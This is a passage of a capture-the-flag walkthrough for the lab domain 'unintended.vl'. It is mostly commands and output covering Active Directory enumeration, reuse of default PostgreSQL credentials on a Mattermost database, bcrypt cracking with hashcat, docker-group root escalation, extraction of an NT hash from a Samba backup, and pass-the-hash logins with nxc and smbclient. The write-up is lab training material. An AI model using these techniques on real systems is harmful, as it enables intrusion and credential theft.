dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=unintended,DC=vl
dn: CN=Server Operators,CN=Builtin,DC=unintended,DC=vl
dn: CN=Performance Monitor Users,CN=Builtin,DC=unintended,DC=vl
dn: CN=Administrators,CN=Builtin,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl
member: CN=Domain Admins,CN=Users,DC=unintended,DC=vl
member: CN=Enterprise Admins,CN=Users,DC=unintended,DC=vl
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=unintended,DC=vl
member: CN=krbtgt,CN=Users,DC=unintended,DC=vl
member: CN=Domain Admins,CN=Users,DC=unintended,DC=vl
member: CN=Enterprise Admins,CN=Users,DC=unintended,DC=vl
member: CN=Group Policy Creator Owners,CN=Users,DC=unintended,DC=vl
member: CN=Read-only Domain Controllers,CN=Users,DC=unintended,DC=vl
member: CN=Domain Controllers,CN=Users,DC=unintended,DC=vl
member: CN=Cert Publishers,CN=Users,DC=unintended,DC=vl
member: CN=Schema Admins,CN=Users,DC=unintended,DC=vl
dn: CN=Incoming Forest Trust Builders,CN=Builtin,DC=unintended,DC=vl
dn: CN=Guests,CN=Builtin,DC=unintended,DC=vl
member: CN=Guest,CN=Users,DC=unintended,DC=vl
member: CN=Domain Guests,CN=Users,DC=unintended,DC=vl
dn: CN=Print Operators,CN=Builtin,DC=unintended,DC=vl
dn: CN=Read-only Domain Controllers,CN=Users,DC=unintended,DC=vl
dn: CN=Domain Controllers,CN=Users,DC=unintended,DC=vl
dn: CN=Certificate Service DCOM Access,CN=Builtin,DC=unintended,DC=vl
dn: CN=Performance Log Users,CN=Builtin,DC=unintended,DC=vl
dn: CN=Domain Guests,CN=Users,DC=unintended,DC=vl
dn: CN=Backup Operators,CN=Builtin,DC=unintended,DC=vl
member: CN=abbie,CN=Users,DC=unintended,DC=vl
dn: CN=Web Developers,CN=Users,DC=unintended,DC=vl
member: CN=juan,CN=Users,DC=unintended,DC=vl
dn: CN=Distributed COM Users,CN=Builtin,DC=unintended,DC=vl
dn: CN=Event Log Readers,CN=Builtin,DC=unintended,DC=vl
dn: CN=Cert Publishers,CN=Users,DC=unintended,DC=vl
dn: CN=Schema Admins,CN=Users,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl
dn: CN=DnsUpdateProxy,CN=Users,DC=unintended,DC=vl
# refldaps://unintended.vl/CN=Configuration,DC=unintended,DC=vl
# refldaps://unintended.vl/DC=DomainDnsZones,DC=unintended,DC=vl
# refldaps://unintended.vl/DC=ForestDnsZones,DC=unintended,DC=vl
juan is a member of Web Developers
, abbie is a member of Backup Operators
and cartor is a member of Domain Admins
.
SSH to WEB (as juan)
Juan can SSH into target 2. Do not forget to specify the domain in the SSH login username.
└─$ sshpass -p <JUAN_PASS> ssh -l juan@unintended.vl web.unintended.vl
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Apr 27 01:16:46 AM UTC 2024
System load: 0.005859375
Usage of /: 72.1% of 9.75GB
Memory usage: 55%
Swap usage: 0%
Processes: 171
Users logged in: 0
IPv4 address for br-1c74e0922629: 172.19.0.1
IPv4 address for br-9f7c921da56a: 172.18.0.1
IPv4 address for br-d2d8c10f2c77: 172.21.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens5: 10.10.156.134
Expanded Security Maintenance for Applications is not enabled.
13 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Apr 27 01:15:22 2024 from 10.8.1.246
juan@unintended.vl@web:~$
Let’s do some basic enumeration:
juan@unintended.vl@web:~$ id
uid=320201103(juan@unintended.vl) gid=320200513(domain users@unintended.vl) groups=320200513(domain users@unintended.vl),320201106(web developers@unintended.vl)
juan@unintended.vl@web:~$ realm list
unintended.vl
type: kerberos
realm-name: UNINTENDED.vl
domain-name: unintended.vl
configured: kerberos-member
server-software: active-directory
client-software: sssd
required-package: sssd-tools
required-package: sssd
required-package: libnss-sss
required-package: libpam-sss
required-package: adcli
required-package: samba-common-bin
login-formats: %U@unintended.vl
login-policy: allow-permitted-logins
permitted-logins: administrator@unintended.vl, juan@unintended.vl, abbie@unintended.vl
permitted-groups:
juan@unintended.vl@web:~$ ls /home/
abbie@unintended.vl administrator@unintended.vl juan@unintended.vl svc
juan@unintended.vl@web:~$ ls -lah
total 32K
drwxr-xr-x 3 juan@unintended.vl domain users@unintended.vl 4.0K Mar 30 08:37 .
drwxr-xr-x 6 root root 4.0K Mar 30 09:32 ..
lrwxrwxrwx 1 root root 9 Feb 24 19:50 .bash_history -> /dev/null
-rw-r--r-- 1 juan@unintended.vl domain users@unintended.vl 220 Feb 24 19:45 .bash_logout
-rw-r--r-- 1 juan@unintended.vl domain users@unintended.vl 3.7K Feb 24 19:45 .bashrc
drwx------ 2 juan@unintended.vl domain users@unintended.vl 4.0K Feb 24 19:45 .cache
-rw-r----- 1 juan@unintended.vl root 37 Mar 30 08:37 flag.txt
-rw-r--r-- 1 juan@unintended.vl root 47 Feb 24 19:47 .k5login
-rw-r--r-- 1 juan@unintended.vl domain users@unintended.vl 807 Feb 24 19:45 .profile
We get the first flag:
juan@unintended.vl@web:~$ cat flag.txt
VL{...}
Mattermost (as juan)
We can now login to the Mattermost webapp at http://chat.unintended.vl/login with the email juan@unintended.vl
and the password we found, and look through the chat history.
We find messages mentioning a PostgreSQL database for Mattermost, and a hint that abbie is likely using name + birthyear as a password.
Mattermost (PostgreSQL database)
Locating the right container
Let’s try to access the PostgreSQL database of the Mattermost instance to extract secrets.
The important hint we can get from the messages is that Mattermost is using a PostgreSQL database (which by defaults listens on port 5432). From the messages and the Docker related files in the DevOps
repository we found earlier, we can deduce that the Mattermost instance is deployed via Docker.
The PostgreSQL port is not forwarded to the host itself, so we need to find the Docker subnet that the Mattermost instance is using:
juan@unintended.vl@web:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8200 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:222 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:39435 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8065 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::8200 :::* LISTEN -
tcp6 0 0 :::8065 :::* LISTEN -
By searching for docker default ip address range
etc., we can find resources that indicate that Docker networks are likely assigned subnets starting from 172.17.0.0/16
then 172.18.0.0/16
…
- https://docs.storagemadeeasy.com/appliance/docker_networking
- https://www.reddit.com/r/docker/comments/s8obru/how_does_docker_assign_ipsubets/
- https://github.com/moby/libnetwork/blob/master/ipamutils/utils.go#L10-L22
An easy way to check for used subnets is ip route
:
juan@unintended.vl@web:~$ ip route
default via 10.10.235.17 dev ens5 proto dhcp src 10.10.235.22 metric 100
10.10.0.2 via 10.10.235.17 dev ens5 proto dhcp src 10.10.235.22 metric 100
10.10.235.16/28 dev ens5 proto kernel scope link src 10.10.235.22 metric 100
10.10.235.17 dev ens5 proto dhcp scope link src 10.10.235.22 metric 100
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown
172.18.0.0/16 dev br-9f7c921da56a proto kernel scope link src 172.18.0.1
172.19.0.0/16 dev br-1c74e0922629 proto kernel scope link src 172.19.0.1
172.21.0.0/16 dev br-d2d8c10f2c77 proto kernel scope link src 172.21.0.1
The potential subnets are 172.17.0.0/16
, 172.18.0.0/16
, 172.19.0.0/16
and 172.21.0.0/16
.
The ARP cache also gives us a hint, although it doesn’t display every container:
juan@unintended.vl@web:~$ arp -an
? (10.10.250.161) at 0a:6c:d2:45:9c:03 [ether] on ens5
? (10.10.250.165) at 0a:3d:e9:94:28:43 [ether] on ens5
? (172.21.0.2) at 02:42:ac:15:00:02 [ether] on br-d2d8c10f2c77
? (172.18.0.2) at 02:42:ac:12:00:02 [ether] on br-9f7c921da56a
? (172.19.0.3) at 02:42:ac:13:00:03 [ether] on br-1c74e0922629
? (172.19.0.2) at 02:42:ac:13:00:02 [ether] on br-1c74e0922629
For every subnet, 172.X.0.1
is the host itself and the containers start at 172.X.0.2
. We can ping them one by one to see if they are up and then scan them with nmap
through the SOCKS proxy we setup earlier to check if port 5432 is open.
With trial and error we find out that 172.21.0.3
is the PostgreSQL database instance used by Mattermost.
└─$ proxychains -q nmap 172.21.0.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-27 01:53 CEST
Nmap scan report for 172.21.0.3
Host is up (0.017s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
5432/tcp open postgresql
Nmap done: 1 IP address (1 host up) scanned in 18.53 seconds
Default credentials
By searching for mattermost docker postgres install
we stumble on a guide in the official documentation. The following section is interesting:
In the GitHub repository referenced in the article there’s a env.example
file containing the default credentials for PostgreSQL.
└─$ PGPASSWORD=mmuser_password proxychains psql -h 172.21.0.3 -d mattermost -U mmuser
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
psql (16.2 (Debian 16.2-1), server 13.14)
Type "help" for help.
mattermost=#
It works for our target!
Exfiltration
Let’s do some basic PostgreSQL enumeration:
mattermost=# \pset pager 0
Pager usage is off.
mattermost=# \list
List of databases
Name | Owner | Encoding | Locale Provider | Collate | Ctype | ICU Locale | ICU Rules | Access privileges
------------+--------+----------+-----------------+------------+------------+------------+-----------+-------------------
mattermost | mmuser | UTF8 | libc | en_US.utf8 | en_US.utf8 | | |
postgres | mmuser | UTF8 | libc | en_US.utf8 | en_US.utf8 | | |
template0 | mmuser | UTF8 | libc | en_US.utf8 | en_US.utf8 | | | =c/mmuser +
| | | | | | | | mmuser=CTc/mmuser
template1 | mmuser | UTF8 | libc | en_US.utf8 | en_US.utf8 | | | =c/mmuser +
| | | | | | | | mmuser=CTc/mmuser
(4 rows)
mattermost=# \d
List of relations
Schema | Name | Type | Owner
--------+----------------------------------+-------+--------
public | audits | table | mmuser
public | bots | table | mmuser
public | channelmemberhistory | table | mmuser
public | channelmembers | table | mmuser
public | channels | table | mmuser
public | clusterdiscovery | table | mmuser
public | commands | table | mmuser
public | commandwebhooks | table | mmuser
public | compliances | table | mmuser
public | db_lock | table | mmuser
public | db_migrations | table | mmuser
public | drafts | table | mmuser
public | emoji | table | mmuser
public | fileinfo | table | mmuser
public | focalboard_blocks | table | mmuser
public | focalboard_blocks_history | table | mmuser
public | focalboard_board_members | table | mmuser
public | focalboard_board_members_history | table | mmuser
public | focalboard_boards | table | mmuser
public | focalboard_boards_history | table | mmuser
public | focalboard_categories | table | mmuser
public | focalboard_category_boards | table | mmuser
public | focalboard_file_info | table | mmuser
public | focalboard_notification_hints | table | mmuser
public | focalboard_preferences | table | mmuser
public | focalboard_schema_migrations | table | mmuser
public | focalboard_sessions | table | mmuser
public | focalboard_sharing | table | mmuser
public | focalboard_subscriptions | table | mmuser
public | focalboard_system_settings | table | mmuser
public | focalboard_teams | table | mmuser
public | focalboard_users | table | mmuser
public | groupchannels | table | mmuser
public | groupmembers | table | mmuser
public | groupteams | table | mmuser
public | incomingwebhooks | table | mmuser
public | ir_category | table | mmuser
public | ir_category_item | table | mmuser
public | ir_channelaction | table | mmuser
public | ir_incident | table | mmuser
public | ir_metric | table | mmuser
public | ir_metricconfig | table | mmuser
public | ir_playbook | table | mmuser
public | ir_playbookautofollow | table | mmuser
public | ir_playbookmember | table | mmuser
public | ir_run_participants | table | mmuser
public | ir_statusposts | table | mmuser
public | ir_system | table | mmuser
public | ir_timelineevent | table | mmuser
public | ir_userinfo | table | mmuser
public | ir_viewedchannel | table | mmuser
public | jobs | table | mmuser
public | licenses | table | mmuser
public | linkmetadata | table | mmuser
public | notifyadmin | table | mmuser
public | oauthaccessdata | table | mmuser
public | oauthapps | table | mmuser
public | oauthauthdata | table | mmuser
public | outgoingwebhooks | table | mmuser
public | pluginkeyvaluestore | table | mmuser
public | postacknowledgements | table | mmuser
public | postreminders | table | mmuser
public | posts | table | mmuser
public | postspriority | table | mmuser
public | preferences | table | mmuser
public | productnoticeviewstate | table | mmuser
public | publicchannels | table | mmuser
public | reactions | table | mmuser
public | recentsearches | table | mmuser
public | remoteclusters | table | mmuser
public | retentionidsfordeletion | table | mmuser
public | retentionpolicies | table | mmuser
public | retentionpolicieschannels | table | mmuser
public | retentionpoliciesteams | table | mmuser
public | roles | table | mmuser
public | schemes | table | mmuser
public | sessions | table | mmuser
public | sharedchannelattachments | table | mmuser
public | sharedchannelremotes | table | mmuser
public | sharedchannels | table | mmuser
public | sharedchannelusers | table | mmuser
public | sidebarcategories | table | mmuser
public | sidebarchannels | table | mmuser
public | status | table | mmuser
public | systems | table | mmuser
public | teammembers | table | mmuser
public | teams | table | mmuser
public | termsofservice | table | mmuser
public | threadmemberships | table | mmuser
public | threads | table | mmuser
public | tokens | table | mmuser
public | trueupreviewhistory | table | mmuser
public | uploadsessions | table | mmuser
public | useraccesstokens | table | mmuser
public | usergroups | table | mmuser
public | users | table | mmuser
public | usertermsofservice | table | mmuser
(97 rows)
In the posts
table we find a new potential password:
mattermost=# select message from posts;
...
Here, `<ABBIE_PASS>`, change it to one you can actually *remember*, and please make sure you do so lol I have way more important things to do than resetting your passwords :joy:
It works as abbie’s domain password:
└─$ nxc smb dc -u abbie -p <ABBIE_PASS>
SMB 10.10.156.133 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.156.133 445 DC [+] unintended.vl\abbie:<ABBIE_PASS>
Another method is to try to crack abbie’s hash:
mattermost=# select email,password from users;
email | password
-------------------------+--------------------------------------------------------------
channelexport@localhost |
feedbackbot@localhost |
appsbot@localhost |
calls@localhost |
playbooks@localhost |
boards@localhost |
system-bot@localhost |
juan@unintended.vl | $2a$10$XVs<.............................................>7aa
cartor@unintended.vl | $2a$10$1LN<.............................................>RC.
abbie@unintended.vl | $2a$10$2IN<.............................................>0mu
(10 rows)
└─$ hashid -m '$2a$10$2IN<REDACTED>0mu'
Analyzing '$2a$10$2IN<REDACTED>0mu'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x
[+] bcrypt [Hashcat Mode: 3200]
We already know that abbie is likely using name + birthyear as a password. First we find abbie’s full name by clicking on the user icon:
Then we generate a wordlist of possible candidates with cook.
└─$ cook abbie,spencer,Abbie,Spencer,theabbs 1920-2024 > abbie.wordlist
└─$ hashcat -a0 -m3200 '$2a$10$2IN<REDACTED>0mu' abbie.wordlist
...
$2a$10$2IN<REDACTED>0mu:<ABBIE_MM_PASS>
By logging in with email abbie@unintended.vl
and the password we just cracked we can then find the same message as above.
SSH to BACKUP (as abbie)
Abbie can SSH into target 3.
└─$ sshpass -p <ABBIE_PASS> ssh -l abbie@unintended.vl backup.unintended.vl
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Apr 27 01:26:39 AM UTC 2024
System load: 0.0205078125 Processes: 112
Usage of /: 41.5% of 9.75GB Users logged in: 0
Memory usage: 14% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for ens5: 10.10.156.135
Expanded Security Maintenance for Applications is not enabled.
13 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Apr 27 01:25:24 2024 from 10.8.1.246
abbie@unintended.vl@backup:~$
abbie@unintended.vl@backup:~$ id
uid=320201104(abbie@unintended.vl) gid=320200513(domain users@unintended.vl) groups=320200513(domain users@unintended.vl),119(docker)
Abbie is in the docker
group which makes it trivial to become root on the host by mounting the root filesystem in a container.
Since the target doesn’t have internet access we need to use an existing image.
abbie@unintended.vl@backup:~$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
python 3.11.2-slim 4d2191666712 13 months ago 128MB
abbie@unintended.vl@backup:~$ docker run -it --rm -v /:/mnt python:3.11.2-slim chroot /mnt bash
root@9ac5c6621b4e:/#
root@9ac5c6621b4e:/# ls -la /root/
total 40
drwx------ 7 root root 4096 Mar 30 09:12 .
drwxr-xr-x 19 root root 4096 Feb 24 19:06 ..
lrwxrwxrwx 1 root root 9 Mar 30 08:38 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Feb 24 19:09 .cache
drwxr-xr-x 3 root root 4096 Feb 24 19:08 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 2 root root 4096 Feb 24 20:07 .ssh
-rw-r--r-- 1 root root 0 Mar 30 09:12 .sudo_as_admin_successful
-rw-r--r-- 1 root root 37 Mar 30 08:40 flag.txt
drwxr-xr-x 3 svc svc 4096 Feb 15 18:31 scripts
drwx------ 3 root root 4096 Feb 24 19:06 snap
We get the second flag:
root@9ac5c6621b4e:~# cat flag.txt
VL{...}
Getting the Samba backup
We can also enumerate and run commands in existing containers:
abbie@unintended.vl@backup:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
3b4fb11f4672 python:3.11.2-slim "sh ./setup.sh" 2 months ago Up About an hour scripts_ftp_1
scripts_ftp_1
seems to be for the FTP service running on port 21.
abbie@unintended.vl@backup:~$ docker exec -it scripts_ftp_1 bash
root@ftp:/ftp#
root@ftp:/ftp# ls -la
total 20
drwxr-xr-x 3 root root 4096 Feb 24 19:56 .
drwxr-xr-x 1 root root 4096 Feb 24 19:56 ..
-rw-r--r-- 1 1000 1000 387 Feb 15 18:31 server.py
-rw-r--r-- 1 1000 1000 60 Feb 15 18:29 setup.sh
drwxr-xr-x 4 root root 4096 Jan 25 08:36 volumes
root@ftp:/ftp# ls -la volumes/
total 16
drwxr-xr-x 4 root root 4096 Jan 25 08:36 .
drwxr-xr-x 3 root root 4096 Feb 24 19:56 ..
drw-rw---- 2 root root 4096 Jan 25 07:13 docker_src
drw-rw---- 2 root root 4096 Feb 17 20:33 domain_backup
There are some Duplicati backup files:
root@ftp:/ftp# ls -la volumes/docker_src/
total 140100
drw-rw---- 2 root root 4096 Jan 25 07:13 .
drwxr-xr-x 4 root root 4096 Jan 25 08:36 ..
-rw-rw---- 1 root root 142245 Jan 25 07:13 duplicati-20240125T071045Z.dlist.zip
-rw-rw---- 1 root root 38225049 Jan 25 07:13 duplicati-b71dd219377964328aa2c79f4bc7354a5.dblock.zip
-rw-rw---- 1 root root 52343646 Jan 25 07:12 duplicati-b9d86c254096f4531b0be8e536a59ff07.dblock.zip
-rw-rw---- 1 root root 52344341 Jan 25 07:11 duplicati-ba27818c8bd7a4ea6a506fde8314c48d1.dblock.zip
-rw-rw---- 1 root root 139304 Jan 25 07:11 duplicati-i48680ba57a084652a109d584aebc63a9.dindex.zip
-rw-rw---- 1 root root 75366 Jan 25 07:12 duplicati-i570def036a8d475c9ec47b861bee206a.dindex.zip
-rw-rw---- 1 root root 161831 Jan 25 07:13 duplicati-ie324293d766446ddbe27823f52e30d4c.dindex.zip
There’s also a Samba backup (likely of the AD database):
root@ftp:/ftp# ls -la volumes/domain_backup/
total 1628
drw-rw---- 2 root root 4096 Feb 17 20:33 .
drwxr-xr-x 4 root root 4096 Jan 25 08:36 ..
-rw-rw---- 1 root root 1654914 Feb 17 20:33 samba-backup-2024-02-17T20-32-13.580437.tar.bz2
Let’s transfer it to our attack machine:
abbie@unintended.vl@backup:~$ docker cp scripts_ftp_1:/ftp/volumes/domain_backup/samba-backup-2024-02-17T20-32-13.580437.tar.bz2 .
Successfully copied 1.66MB to /home/abbie@unintended.vl/.
└─$ sshpass -p <ABBIE_PASS> scp abbie@unintended.vl@backup.unintended.vl:samba-backup-2024-02-17T20-32-13.580437.tar.bz2 .
Extract the backup:
└─$ mkdir backup && tar -xvf samba-backup-2024-02-17T20-32-13.580437.tar.bz2 -C backup
sysvol.tar.gz
backup.txt
private/secrets.tdb
private/privilege.ldb
private/sam.ldb
private/dns_update_list
private/spn_update_list
private/schannel_store.tdb
private/krb5.conf
private/secrets.ldb
private/passdb.tdb
private/idmap.ldb
private/dns_update_cache
private/secrets.keytab
private/encrypted_secrets.key
private/hklm.ldb
private/share.ldb
private/tls/ca.pem
private/tls/cert.pem
private/tls/key.pem
private/sam.ldb.d/DC=DOMAINDNSZONES,DC=UNINTENDED,DC=VL.ldb
private/sam.ldb.d/CN=CONFIGURATION,DC=UNINTENDED,DC=VL.ldb
private/sam.ldb.d/metadata.tdb
private/sam.ldb.d/DC=FORESTDNSZONES,DC=UNINTENDED,DC=VL.ldb
private/sam.ldb.d/DC=UNINTENDED,DC=VL.ldb
private/sam.ldb.d/CN=SCHEMA,CN=CONFIGURATION,DC=UNINTENDED,DC=VL.ldb
state/share_info.tdb
state/group_mapping.tdb
state/winbindd_cache.tdb
state/registry.tdb
state/account_policy.tdb
etc/smb.conf.bak
etc/gdbcommands
etc/smb.conf
We can confirm it’s a backup of the DC:
└─$ cat etc/smb.conf
# Global parameters
[global]
dns forwarder = 127.0.0.53
netbios name = DC
realm = UNINTENDED.VL
server role = active directory domain controller
workgroup = UNINTENDED
idmap_ldb:use rfc2307 = yes
[sysvol]
path = /var/lib/samba/sysvol
read only = No
[netlogon]
path = /var/lib/samba/sysvol/unintended.vl/scripts
read only = No
[home]
comment = Home Directories
browseable = yes
read only = no
create mask = 0700
directory mask = 0700
path = /home/%U@unintended.vl
valid users = administrator, cartor
Extracting Administrator’s hash
The private/sam.ldb
file seems interesting as we might be able to extract hashes from it.
By searching ad linux backup ldb
we can find the documentation explaining how Samba backup works.
By searching sam ldb hash extract
we can also find a few resources that explain how to read the sam.ldb
file:
- https://samba.tranquil.it/doc/en/samba_fundamentals/about_password_hash.html
- https://samba.samba.narkive.com/HDAsLjU3/being-able-to-read-password-hashes
- https://wiki.samba.org/index.php/LDB
ldbsearch
has almost identical syntax to ldapsearch
, and we can use it to query the local sam.ldb
file.
First make sure it’s installed:
└─$ sudo apt install ldb-tools
Let’s extract Administrator’s hash:
└─$ ldbsearch -H sam.ldb '(samaccountname=Administrator)' 'unicodepwd'
# record 1
dn: CN=Administrator,CN=Users,DC=unintended,DC=vl
unicodePwd:: Nv4<REDACTED>4ow==
# Referral
ref: ldap:///CN=Configuration,DC=unintended,DC=vl
# Referral
ref: ldap:///DC=DomainDnsZones,DC=unintended,DC=vl
# Referral
ref: ldap:///DC=ForestDnsZones,DC=unintended,DC=vl
# returned 4 records
# 1 entries
# 3 referrals
└─$ echo 'Nv4<REDACTED>4ow==' | base64 -d | xxd -p
36fe<REDACTED>f8a3
It doesn’t crack with rockyou.txt
:
└─$ hashcat -a0 -m1000 36fe<REDACTED>f8a3 /usr/share/wordlists/rockyou.txt
However we can use pass-the-hash over SMB:
└─$ nxc smb dc -u Administrator -H 36fe<REDACTED>f8a3
SMB 10.10.156.133 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.156.133 445 DC [+] unintended.vl\Administrator:36fe<REDACTED>f8a3 (Pwn3d!)
We can read and write to our home directory:
└─$ nxc smb dc -u Administrator -H 36fe<REDACTED>f8a3 --shares
SMB 10.10.143.229 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.143.229 445 DC [+] unintended.vl\Administrator:36fe<REDACTED>f8a3 (Pwn3d!)
SMB 10.10.143.229 445 DC [*] Enumerated shares
SMB 10.10.143.229 445 DC Share Permissions Remark
SMB 10.10.143.229 445 DC ----- ----------- ------
SMB 10.10.143.229 445 DC sysvol READ,WRITE
SMB 10.10.143.229 445 DC netlogon READ,WRITE
SMB 10.10.143.229 445 DC home READ,WRITE Home Directories
SMB 10.10.143.229 445 DC IPC$ IPC Service (Samba 4.15.13-Ubuntu)
By using smbclient
with pass-the-hash we can read the root flag:
└─$ smbclient -U Administrator --password=36fe<REDACTED>f8a3 --pw-nt-hash //dc.unintended.vl/home
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Mar 30 09:37:08 2024
.. D 0 Sat Feb 24 21:13:16 2024
.profile H 807 Sat Feb 24 21:13:16 2024
.cache DH 0 Sat Feb 24 21:13:16 2024
.bashrc H 3771 Sat Feb 24 21:13:16 2024
.bash_logout H 220 Sat Feb 24 21:13:16 2024
root.txt N 37 Sat Mar 30 09:37:08 2024
10218772 blocks of size 1024. 6238764 blocks available
smb: \> get root.txt
getting file \root.txt of size 37 as root.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> exit
└─$ cat root.txt
VL{...}
We can also read it with nxc
:
└─$ nxc smb dc -u Administrator -H 36fe<REDACTED>f8a3 --spider home --pattern txt
SMB 10.10.143.229 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.143.229 445 DC [+] unintended.vl\Administrator:36fe<REDACTED>f8a3 (Pwn3d!)
SMB 10.10.143.229 445 DC [*] Started spidering
SMB 10.10.143.229 445 DC [*] Spidering .
SMB 10.10.143.229 445 DC //10.10.143.229/home/root.txt [lastm:'2024-03-30 09:37' size:37]
SMB 10.10.143.229 445 DC [*] Done spidering (Completed in 0.23603272438049316)
└─$ nxc smb dc -u Administrator -H 36fe<REDACTED>f8a3 --share home --get-file root.txt root.txt
SMB 10.10.143.229 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.143.229 445 DC [+] unintended.vl\Administrator:36fe<REDACTED>f8a3 (Pwn3d!)
SMB 10.10.143.229 445 DC [*] Copying "root.txt" to "root.txt"
SMB 10.10.143.229 445 DC [+] File "root.txt" was downloaded to "root.txt"
└─$ cat root.txt
VL{...}
(Bonus) Root on WEB
There’s a third user flag that involves getting root on WEB (target 2) and that I didn’t get by myself at the time. Thanks to the Discord’s master channel I was able to understand and reproduce other people’s method. It consists of extracting the Duplicati server passphrase from a backup, logging in to the web interface and creating a malicious backup and restore. I will show the detailed process here.
Extracting the Duplicati server passphrase
First transfer the Duplicati backup we found on target 3 to our attack host:
abbie@unintended.vl@backup:~$ docker exec -it scripts_ftp_1 bash
root@ftp:/ftp#
root@ftp:/ftp/volumes# ls docker_src/
duplicati-20240125T071045Z.dlist.zip duplicati-ba27818c8bd7a4ea6a506fde8314c48d1.dblock.zip duplicati-ie324293d766446ddbe27823f52e30d4c.dindex.zip
duplicati-b71dd219377964328aa2c79f4bc7354a5.dblock.zip duplicati-i48680ba57a084652a109d584aebc63a9.dindex.zip
duplicati-b9d86c254096f4531b0be8e536a59ff07.dblock.zip duplicati-i570def036a8d475c9ec47b861bee206a.dindex.zip
root@ftp:/ftp/volumes# tar -zcf docker_src.tar.gz docker_src/
abbie@unintended.vl@backup:~$ docker cp scripts_ftp_1:/ftp/volumes/docker_src.tar.gz .
Successfully copied 142MB to /home/abbie@unintended.vl/.
└─$ sshpass -p <ABBIE_PASS> scp abbie@unintended.vl@backup.unintended.vl:~/docker_src.tar.gz .
└─$ tar -zxf docker_src.tar.gz && rm docker_src.tar.gz
We can use this script to restore the backup from Linux without having to install Duplicati.
└─$ wget https://github.com/duplicati/duplicati/raw/master/Tools/Commandline/RestoreFromPython/ijson.py
└─$ wget https://github.com/duplicati/duplicati/raw/master/Tools/Commandline/RestoreFromPython/pyaescrypt.py
└─$ wget https://github.com/duplicati/duplicati/raw/master/Tools/Commandline/RestoreFromPython/restore_from_python.py
└─$ mkdir restore
└─$ python3 restore_from_python.py
Welcome to Python Duplicati recovery.
Please type the full path to a directory with Duplicati's .aes or .zip files:./docker_src
Please type * to restore all files, or a pattern like /path/to/files/* to restore the files in a certain directory)*
Please enter the path to an empty destination directory:restore
...
There will be a lot of errors and it will take a while but the files will be restored correctly.
└─$ ls restore/source/root/scripts/
apache docker-compose.yml duplicati gitea mattermost mysql web
We find the database of the Duplicati server:
└─$ tree restore/source/root/scripts/duplicati
restore/source/root/scripts/duplicati
└── config
├── control_dir_v2
│ └── lock_v2
├── Duplicati-server.sqlite
├── IRFTMLEYVT.sqlite
└── IRFTMLEYVT.sqlite-journal
3 directories, 4 files
In the database we find some interesting entries like the server-passphrase
.
└─$ sqlite3 restore/source/root/scripts/duplicati/config/Duplicati-server.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
Backup Log Option TempFile
ErrorLog Metadata Schedule UIStorage
Filter Notification Source Version
sqlite> select * from Option;
-2||startup-delay|0s
